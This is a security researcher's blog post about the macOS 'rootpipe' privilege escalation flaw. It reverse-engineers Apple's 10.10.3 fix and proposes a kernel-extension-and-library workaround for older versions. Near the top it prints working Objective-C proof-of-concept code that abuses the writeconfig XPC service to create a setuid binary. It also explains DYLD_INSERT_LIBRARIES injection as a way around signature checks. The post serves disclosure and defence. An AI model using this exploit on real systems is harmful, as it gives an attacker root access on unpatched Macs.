How to fix rootpipe in Mavericks and call Apple’s bullshit bluff about rootpipe fixes

The rootpipe vulnerability was finally fully disclosed last week after a couple of months of expectation since its first announcement. It was disclosed as a hidden backdoor but it’s really something more related to access control and crap design than a backdoor. Although keep in mind that good backdoors should be hard to distinguish from simple errors. In this case there are a lot of services using this feature so it’s hardly a hidden backdoor that just sits there waiting for some evil purpose. Apple doesn’t have a stellar security record so the simple explanation has a good chance to prevail over the backdoor story.

Anyway that’s not what really matter for this post. The most important issue is that a fix was made available only for Yosemite 10.10.3. Every other OS X version is left vulnerable. While this is a local privilege escalation vulnerability there are many scenarios where it can be used (you don’t audit every single installer and software that runs on your Mac, do you?). It is extremely reliable and can be used in different ways other than just creating a suid binary. The vulnerability author wrote the following regarding this issue:

Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.””

So essentially Apple refuses to patch this in all versions except the latest one because it’s apparently too much work. There is no official statement from Apple regarding the EOL (End of Life) status about all previous OS X versions so this course of action is quite strange. Even stranger when Apple backports some security patches to those older versions so they are implicitly not yet dead versions.

In this situation what can we do?
We can try to verify what is the real impact of Apple’s fix and call their bluff if we can prove that we are able to produce a fix without significant changes to the operating system. Challenge accepted!

Part 1 – The vulnerability

The core of this vulnerability resides in the writeconfig XPC service that is part of the SystemAdministration private framework. It is essentially an helper to keep privileged operations separated from the binaries that require those privileged operations. It contains an interesting method called createFileWithContents:path:attributes: that allows to create a file anywhere in the filesystem with whatever permissions we want. This is the method being exploited to create a suid binary that allows privilege escalation. We can also use it to create a launchd daemon, modify sudo configurations and so on. This XPC service contains other methods that could be useful for exploitation but this one is good enough. The following code snippet is the port to Objective-C of the original Python PoC:

int
get_me_rootpipe(const char *sourceFile)
{
    Class hackClass = (Class)objc_lookUpClass("WriteConfigClient");
    if (hackClass != nil)
    {
        if ([hackClass respondsToSelector:@selector(sharedClient)])
        {
            id sharedClient = [hackClass performSelector:@selector(sharedClient)];
            if (sharedClient != nil)
            {
                [sharedClient performSelector:@selector(authenticateUsingAuthorizationSync:) withObject:nil];
                id tool = [sharedClient performSelector:@selector(remoteProxy)];

                NSMutableDictionary *attr = [NSMutableDictionary new];
                [attr setValue:[NSNumber numberWithShort:04777]
                             forKey:NSFilePosixPermissions];
                NSData *file = [[NSData alloc] initWithContentsOfFile:[NSString stringWithUTF8String:sourceFile]];
                /* use NSInvocation because we have more than 2 parameters for the selector */
                SEL mySelector = NSSelectorFromString(@"createFileWithContents:path:attributes:");
                NSInvocation *inv = [NSInvocation invocationWithMethodSignature:[tool methodSignatureForSelector:mySelector]];
                [inv setSelector:mySelector];
                [inv setTarget:tool]; /* the target where we want to invoke the method */
                [inv setArgument:&file atIndex:2];
                /* hardcoded value */
                NSString *targetFile = @"/tmp/suid_diagnostic_service";
                [inv setArgument:&targetFile atIndex:3];
                [inv setArgument:&attr atIndex:4];
                /* rootpipe everything! Thank you Apple once again :-) */
                [inv invoke];
            }
        }
    }
    return 0;
}

The vulnerability author reports that this service appears to be used by System Preferences and systemsetup applications. This is true but there are also other binaries using this service. The core of this vulnerability is that there is no access control regarding which binaries can access this service. If a user can obtain the necessary connection to the XPC service he is able to call that method and do whatever he wants in the system. There is a second vulnerability in the way any user can obtain the necessary connection to the XPC service. If a nil object is passed to authenticateUsingAuthorizationSync: the connection will succeed and it is game over. This makes it possible for any user to connect to the service. This second vulnerability isn’t necessary in case the user as admin privileges, which is a valid scenario for many default installations.

Part 2 – Apple’s fix

The next step is to try to reverse the fix made in 10.10.3 release. We know that writeconfig is the vulnerable service so it is reasonable to expect most changes happening there. It is also reasonable to expect Apple to interpret this issue as an access control problem. If this is true there should be some kind of new access control mechanism implemented. The easiest option would be to bindiff the binary but I was too lazy to launch the Windows VM with bindiff and still haven’t tried to set up Diaphora in OS X. How are XPC services implemented? Apple’s documentation can be found here.

Essentially there is a main function implemented that creates and configures a listener object and a delegate class we must create. The delegate class must conform to the NSXPCListenerDelegate protocol. This protocol contains a single method listener:shouldAcceptNewConnection:, which accepts or rejects connections to the listener. Bingo, this is probably what we are looking after. Are there any differences between the 10.10.3 version and older ones?

10.10.1:

0000000100002133 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id)
0000000100002133 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near
0000000100002133                                         ; DATA XREF: __objc_const:000000010001C7F8o
0000000100002133
0000000100002133 var_30          = qword ptr -30h
0000000100002133
0000000100002133                 push    rbp
0000000100002134                 mov     rbp, rsp
0000000100002137                 push    r15
0000000100002139                 push    r14
000000010000213B                 push    r13
000000010000213D                 push    r12
000000010000213F                 push    rbx
0000000100002140                 push    rax
0000000100002141                 mov     r13, rcx
0000000100002144                 mov     r15, rdi
0000000100002147                 mov     r12, cs:selRef_setExportedObject_
000000010000214E                 mov     rdi, r13
0000000100002151                 call    cs:_objc_retain_ptr
0000000100002157                 mov     [rbp+var_30], rax
000000010000215B                 mov     r14, cs:_objc_msgSend_ptr
0000000100002162                 mov     rdi, r13
0000000100002165                 mov     rsi, r12
0000000100002168                 mov     rdx, r15
000000010000216B                 call    r14 ; _objc_msgSend
000000010000216E                 mov     rdi, cs:classRef_NSXPCInterface
0000000100002175                 mov     rdx, cs:protocolRef_XPCWriteConfigProtocol
000000010000217C                 mov     rsi, cs:selRef_interfaceWithProtocol_
0000000100002183                 call    r14 ; _objc_msgSend
0000000100002186                 mov     rdi, rax
0000000100002189                 call    _objc_retainAutoreleasedReturnValue
000000010000218E                 mov     rbx, rax
0000000100002191                 mov     rsi, cs:selRef_setExportedInterface_
0000000100002198                 mov     rdi, r13
000000010000219B                 mov     rdx, rbx
000000010000219E                 call    r14 ; _objc_msgSend
00000001000021A1                 mov     r15, cs:_objc_release_ptr
00000001000021A8                 mov     rdi, rbx
00000001000021AB                 call    r15 ; _objc_release
00000001000021AE                 mov     rsi, cs:selRef_setInvalidationHandler_
00000001000021B5                 lea     rdx, off_100019730
00000001000021BC                 mov     rdi, r13
00000001000021BF                 call    r14 ; _objc_msgSend
00000001000021C2                 mov     rsi, cs:selRef_resume
00000001000021C9                 mov     rdi, r13
00000001000021CC                 call    r14 ; _objc_msgSend
00000001000021CF                 mov     rdi, [rbp+var_30]
00000001000021D3                 call    r15 ; _objc_release
00000001000021D6                 mov     eax, 1
00000001000021DB                 add     rsp, 8
00000001000021DF                 pop     rbx
00000001000021E0                 pop     r12
00000001000021E2                 pop     r13
00000001000021E4                 pop     r14
00000001000021E6                 pop     r15
00000001000021E8                 pop     rbp
00000001000021E9                 retn
00000001000021E9 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ endp

10.10.3

0000000100001C71 ; WriteConfigDispatch - (char)listener:(id) shouldAcceptNewConnection:(id)
0000000100001C71 ; Attributes: bp-based frame
0000000100001C71
0000000100001C71 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id)
0000000100001C71 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near
0000000100001C71                                         ; DATA XREF: __objc_const:000000010001C958o
0000000100001C71
0000000100001C71 var_490         = qword ptr -490h
0000000100001C71 var_488         = qword ptr -488h
0000000100001C71 var_480         = qword ptr -480h
0000000100001C71 var_478         = qword ptr -478h
0000000100001C71 var_470         = qword ptr -470h
0000000100001C71 var_468         = qword ptr -468h
0000000100001C71 var_460         = xmmword ptr -460h
0000000100001C71 var_450         = xmmword ptr -450h
0000000100001C71 buffer          = byte ptr -440h
0000000100001C71 var_43F         = byte ptr -43Fh
0000000100001C71 var_43E         = byte ptr -43Eh
0000000100001C71 var_43D         = byte ptr -43Dh
0000000100001C71 var_30          = qword ptr -30h
0000000100001C71
0000000100001C71                 push    rbp
0000000100001C72                 mov     rbp, rsp
0000000100001C75                 push    r15
0000000100001C77                 push    r14
0000000100001C79                 push    r13
0000000100001C7B                 push    r12
0000000100001C7D                 push    rbx
0000000100001C7E                 sub     rsp, 468h
0000000100001C85                 mov     rbx, rcx
0000000100001C88                 mov     r15, rdi
0000000100001C8B                 mov     rax, cs:___stack_chk_guard_ptr
0000000100001C92                 mov     rax, [rax]
0000000100001C95                 mov     [rbp+var_30], rax
0000000100001C99                 mov     r14, cs:_objc_retain_ptr
0000000100001CA0                 mov     rdi, rdx
0000000100001CA3                 call    r14 ; _objc_retain
0000000100001CA6                 mov     [rbp-470h], rax
0000000100001CAD                 mov     rdi, rbx
0000000100001CB0                 call    r14 ; _objc_retain
0000000100001CB3                 mov     r12, rax
0000000100001CB6                 test    r12, r12
0000000100001CB9                 jz      short loc_100001CD3
0000000100001CBB                 mov     rdx, cs:selRef_auditToken
0000000100001CC2                 lea     rdi, [rbp-460h]
0000000100001CC9                 mov     rsi, r12
0000000100001CCC                 call    _objc_msgSend_stret
0000000100001CD1                 jmp     short loc_100001CE4
0000000100001CD3 ; ---------------------------------------------------------------------------
0000000100001CD3
0000000100001CD3 loc_100001CD3:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+48j
0000000100001CD3                 xorps   xmm0, xmm0
0000000100001CD6                 movaps  [rbp+var_450], xmm0
0000000100001CDD                 movaps  [rbp+var_460], xmm0
0000000100001CE4
0000000100001CE4 loc_100001CE4:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+60j
0000000100001CE4                 mov     rax, qword ptr [rbp+var_450+8]
0000000100001CEB                 mov     [rsp+490h+var_478], rax
0000000100001CF0                 mov     rax, qword ptr [rbp+var_450]
0000000100001CF7                 mov     [rsp+490h+var_480], rax
0000000100001CFC                 mov     rax, qword ptr [rbp+var_460]
0000000100001D03                 mov     rcx, qword ptr [rbp+var_460+8]
0000000100001D0A                 mov     [rsp+490h+var_488], rcx
0000000100001D0F                 mov     [rsp+490h+var_490], rax
0000000100001D13                 xor     edi, edi
0000000100001D15                 call    _SecTaskCreateWithAuditToken
0000000100001D1A                 mov     rbx, rax
0000000100001D1D                 test    rbx, rbx
0000000100001D20                 jz      loc_100001E32
0000000100001D26                 mov     [rbp+var_468], 0
0000000100001D31                 lea     rsi, cfstr_Com_apple_priv ; "com.apple.private.admin.writeconfig"
0000000100001D38                 lea     rdx, [rbp+var_468]
0000000100001D3F                 mov     rdi, rbx
0000000100001D42                 call    _SecTaskCopyValueForEntitlement
0000000100001D47                 mov     r13, rax
0000000100001D4A                 mov     rsi, [rbp+var_468]
0000000100001D51                 test    rsi, rsi
0000000100001D54                 jz      short loc_100001D70
0000000100001D56                 lea     rdi, cfstr_UnableToGetEnt ; "### Unable to get entitlements for client task. Error: %@"
0000000100001D5D                 xor     eax, eax
0000000100001D5F                 call    _NSLog
0000000100001D64                 mov     rdi, [rbp+var_468]
0000000100001D6B                 call    _CFRelease
0000000100001D70
0000000100001D70 loc_100001D70:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+E3j
0000000100001D70                 test    r13, r13
0000000100001D73                 jz      loc_100001E4A
0000000100001D79                 mov     rdi, r13
0000000100001D7C                 call    _CFGetTypeID
0000000100001D81                 mov     r14, rax
0000000100001D84                 call    _CFBooleanGetTypeID
0000000100001D89                 cmp     r14, rax
0000000100001D8C                 jnz     loc_100001E42
0000000100001D92                 mov     rdi, r13
0000000100001D95                 call    _CFBooleanGetValue
0000000100001D9A                 mov     r14b, al
0000000100001D9D                 mov     rdi, r13
0000000100001DA0                 call    _CFRelease
0000000100001DA5                 mov     rdi, rbx
0000000100001DA8                 call    _CFRelease
0000000100001DAD                 test    r14b, r14b
0000000100001DB0                 jz      loc_100001E52
0000000100001DB6                 mov     rsi, cs:selRef_setExportedObject_
0000000100001DBD                 mov     r14, cs:_objc_msgSend_ptr
0000000100001DC4                 mov     rdi, r12
0000000100001DC7                 mov     rdx, r15
0000000100001DCA                 call    r14 ; _objc_msgSend
0000000100001DCD                 mov     rdi, cs:classRef_NSXPCInterface
0000000100001DD4                 mov     rdx, cs:protocolRef_XPCWriteConfigProtocol
0000000100001DDB                 mov     rsi, cs:selRef_interfaceWithProtocol_
0000000100001DE2                 call    r14 ; _objc_msgSend
0000000100001DE5                 mov     rdi, rax
0000000100001DE8                 call    _objc_retainAutoreleasedReturnValue
0000000100001DED                 mov     rbx, rax
0000000100001DF0                 mov     rsi, cs:selRef_setExportedInterface_
0000000100001DF7                 mov     rdi, r12
0000000100001DFA                 mov     rdx, rbx
0000000100001DFD                 call    r14 ; _objc_msgSend
0000000100001E00                 mov     rdi, rbx        ; _QWORD
0000000100001E03                 call    cs:_objc_release_ptr
0000000100001E09                 mov     rsi, cs:selRef_setInvalidationHandler_
0000000100001E10                 lea     rdx, off_1000197C0
0000000100001E17                 mov     rdi, r12
0000000100001E1A                 call    r14 ; _objc_msgSend
0000000100001E1D                 mov     rsi, cs:selRef_resume
0000000100001E24                 mov     rdi, r12
0000000100001E27                 call    r14 ; _objc_msgSend
0000000100001E2A                 mov     r14b, 1
0000000100001E2D                 jmp     loc_100001F0D
0000000100001E32 ; ---------------------------------------------------------------------------
0000000100001E32
0000000100001E32 loc_100001E32:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+AFj
0000000100001E32                 lea     rdi, cfstr_UnableToCreate ; "### Unable to create security task from audit token"
0000000100001E39                 xor     eax, eax
0000000100001E3B                 call    _NSLog
0000000100001E40                 jmp     short loc_100001E52
0000000100001E42 ; ---------------------------------------------------------------------------
0000000100001E42
0000000100001E42 loc_100001E42:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+11Bj
0000000100001E42                 mov     rdi, r13
0000000100001E45                 call    _CFRelease
0000000100001E4A
0000000100001E4A loc_100001E4A:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+102j
0000000100001E4A                 mov     rdi, rbx
0000000100001E4D                 call    _CFRelease
0000000100001E52
0000000100001E52 loc_100001E52:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+13Fj
0000000100001E52                                         ; -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+1CFj
0000000100001E52                 mov     rsi, cs:selRef_processIdentifier
0000000100001E59                 mov     rdi, r12
0000000100001E5C                 call    cs:_objc_msgSend_ptr
0000000100001E62                 lea     rsi, [rbp+buffer] ; buffer
0000000100001E69                 mov     edx, 401h       ; buffersize
0000000100001E6E                 mov     edi, eax        ; pid
0000000100001E70                 call    _proc_pidpath
0000000100001E75                 lea     ecx, [rax-1]
0000000100001E78                 cmp     ecx, 3FEh
0000000100001E7E                 ja      short loc_100001ECC
0000000100001E80                 cdqe
0000000100001E82                 mov     [rbp+rax+buffer], 0
0000000100001E8A                 mov     rdi, cs:classRef_NSString
0000000100001E91                 mov     rsi, cs:selRef_stringWithUTF8String_
0000000100001E98                 lea     rdx, [rbp+buffer]
0000000100001E9F                 call    cs:_objc_msgSend_ptr
0000000100001EA5                 mov     rdi, rax
0000000100001EA8                 call    _objc_retainAutoreleasedReturnValue
0000000100001EAD                 mov     rbx, rax
0000000100001EB0                 lea     rdi, cfstr_AccessDeniedFo ; "### Access denied for unentitled client %@"
0000000100001EB7                 xor     eax, eax
0000000100001EB9                 mov     rsi, rbx
0000000100001EBC                 call    _NSLog
0000000100001EC1                 mov     rdi, rbx        ; _QWORD
0000000100001EC4                 call    cs:_objc_release_ptr
0000000100001ECA                 jmp     short loc_100001EF6
(...)

Yes, there are quite significant changes between the two versions. The old version doesn’t seem to do any kind of access control while the new version implements a new private entitlement called com.apple.private.admin.writeconfig. If the binary calling the XPC service does not contain this entitlement then it can’t connect anymore to the XPC. Let’s try to run the exploit code in 10.10.3:

Executing rootpiped diagnostic service...
2015-04-13 10:17:16.665 diagnostic_service[687:37692] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4097 "Couldn’t communicate with a helper application." (connection to service named com.apple.systemadministration.writeconfig) UserInfo=0x7f9ef8c0d2c0 {NSDebugDescription=connection to service named com.apple.systemadministration.writeconfig}

As expected our exploit code doesn’t have that private entitlement and can no longer connect to writeconfig XPC service.

If we grep a 10.10.3 system (or unpack the update pkg) for that entitlement we will find around 50 binaries that contain the new entitlement. This shows us how this XPC service is deeply integrated into OS X and probably why Apple doesn’t want to backport the fix to older OS X versions. For a hidden backdoor that’s a lot of work and services dependent on it.

Part 3 – Developing our own fix for older versions

To be honest I didn’t verify for any other major changes in SystemAdministration framework. The reason is that I think the new entitlement fixes the issue. Access is now restricted to Apple selected binaries with the new private entitlement. The vulnerable method to the nil object doesn’t appear to be modified (technically sending a nil object in Objective-C is valid).

Assuming that the entitlement and correspondent access control create a permanent fix, can we use the same concept to fix the issue in older versions without all the changes a new entitlement might require? Apple says no. I say yes, it is possible and it’s much easier than it might appear. It can be even easier if Apple does it because they can skip some of the intermediate steps my fix requires.

What we need is a way to (dynamically) introduce some kind of access control to writeconfig and limit the binaries that can connect to it. I mean dynamically because I guess that if we directly patch the binary we will break the code signature and it will stop working (I did not test this, just guessing!). Even if patching was possible it wouldn’t completely solve the problem as we will soon understand.

We need to add access control to the listener delegate that XPC services implement, listener:shouldAcceptNewConnection:. Being a Objective-C binary this is quite easy using swizzling. The idea is to inject a dynamic library into the process, swizzle the original method, implement access control in our own method, and call the original method if the binary passes our checks.

How can we implement the access control? The first idea was to use code signatures to verify if the binary is an Apple binary (because technically only Apple binaries should be allowed to connect). This sort of works because even if we code sign an exploit binary it will not pass the check because it’s not Apple’s certificate.
The problem of this approach is that it can be easily bypassed using the same trick as Google’s Santa. We just need to inject a library using DYLD_INSERT_LIBRARIES into any Apple signed process (/bin/ls for example) and call the exploit payload from the library.
Hardcoding the paths of all the allowed binaries still doesn’t solve this issue. We reduce the number of binaries that can be used but we can still call an authorized binary and inject the attacking library.

The solution is to block DYLD_INSERT_LIBRARIES injection into the authorized binaries. Is there any operating system support for this? Yes there is. dyld (the linker) is responsible for loading the library specified in DYLD_INSERT_LIBRARIES. It will ignore this and other environment variables if the process is considered restricted. In what conditions does it consider a process restricted?

  • If it has setuid or setgid bit set.
  • If it contains a __RESTRICT segment (read this post for further info).
  • If it has entitlements.

For example in 10.10.3 we can’t use this trick to exploit the binaries that contain the new entitlement. Because they have entitlements dyld will clear the variable so we can’t piggyback on their entitlement from our injected library (that is really never injected into the process).

Once again, we don’t want to modify any binaries at disk so we need to do it dynamically. One possible solution would be to modify dyld on the fly and inject some code to mark the authorized processes as restricted. The easiest solution is to do this from a kernel extension and inject a new __RESTRICT segment into the authorized processes.

My proposed fix contains two components, a kernel extension and a dynamic library.
The kernel extension, Mario, is responsible for injecting the dynamic library into the writeconfig process (using the same technique as published in my Phrack article), and for injecting a __RESTRICT segment and __restrict section into all processes authorized to connect to the XPC service. The authorized processes list is hardcoded and was obtained by grep’ing all the binaries in Yosemite that have the new entitlement. Those who do not exist in Mavericks were removed from the list. A few processes might be missing from this list so this will require a bit of additional testing to gather all the binaries.
The kext is implemented as a TrustedBSD policy module (you know I love TrustedBSD, right?). It can be loaded as soon as possible in the system because it uses the com.apple. trick in the bundle identifier.

The dynamic library, Luigi, injected into the writeconfig XPC binary is responsible for accepting or denying the connection to the XPC service. It does this by verifying the path of the binary and its code signature. If not in the authorized path list or code signature is bad the connection will be denied. The information about the connecting process can be obtained from the newConnection parameter in the listener method. We can obtain the PID of the connecting process and then its associated path using proc_pidpath function. A log file is created in /tmp/rootpipe_fix_log, with all authorized and unauthorized connections to the XPC service.

Part 4 – Can Apple implement this fix?

Yes they can. And they don’t need a kernel extension at all. They need to modify the writeconfig code to do the same job as the dynamic library and dyld to restrict library injection in the authorized binaries. This requires a hardcoded list into dyld and writeconfig (or a plist somewhere that can be codesigned and verified both by writeconfig and dyld). It’s not a pretty fix but it should work and it’s way better than leaving a large userbase completely vulnerable to this bug.
Update: obviously I forgot to write this in the original post, but there’s no need to modify dyld since all the binaries just need to be recompiled with the extra __RESTRICT segment. The only one that requires a hardcoded list is writeconfig.

Part 5 – Conclusion

Hopefully I have convinced you that it is indeed possible to fix the rootpipe vulnerability in older versions without major OS X changes. It can also be applied to other versions with minor or no work at all. Apple’s response to this issue is not acceptable at all. There is no official end of life (EOL) statements from Apple regarding older OS X versions. If there is no such statement and Apple still releases some security patches for those versions then it’s perfectly reasonable to assume they are still supported and it’s a user choice to use them or not. Leaving users exposed to such dangerous vulnerabilities with fully working public exploits available is simply irresponsible. Let me remind you that iWorm botnet infected more than 17k hosts just by asking the users for admin privileges. How large do you think a botnet can be by exploiting this vulnerability to escalate privileges without any user intervention at all?

It’s not possible for Apple to not want to assume the potential costs and risks of declaring OS X versions EOL but also to not want to backport really important security fixes to older OS X versions because that implies “too much work” (where too much work is my personal interpretation of Apple’s answer regarding this). The 90s are over, learn a bit with Microsoft. Microsoft isn’t perfect but they learnt some lessons and improved a lot regarding security. We all would love to have users running all the latest versions of every piece of software. Reality is much different else there wouldn’t be a problem called Windows XP. Learn with other’s mistakes, they are cheaper.

Source code available at:
Mario – https://github.com/gdbinit/mario
Luigi – https://github.com/gdbinit/luigi

Feel free to send any bug reports or problems with this patch. Code might contain some bugs, large part of it was copy & pasted from older projects. This means it’s not production code but something to pressure Apple to fix the issue.

Have fun,
fG!

Update:
There is malware from 2014 that was already exploiting this vulnerability. Found by noar, the following sample contains the exploit code for both Mavericks and older versions. It uses the exploit to activate the Accessibility API. See, we don’t even need to wait for new malware, it was already being exploited in the wild. The malware sample is described by FireEye here, but they totally miss the zero day there. They just lightly describe the result but not the technique.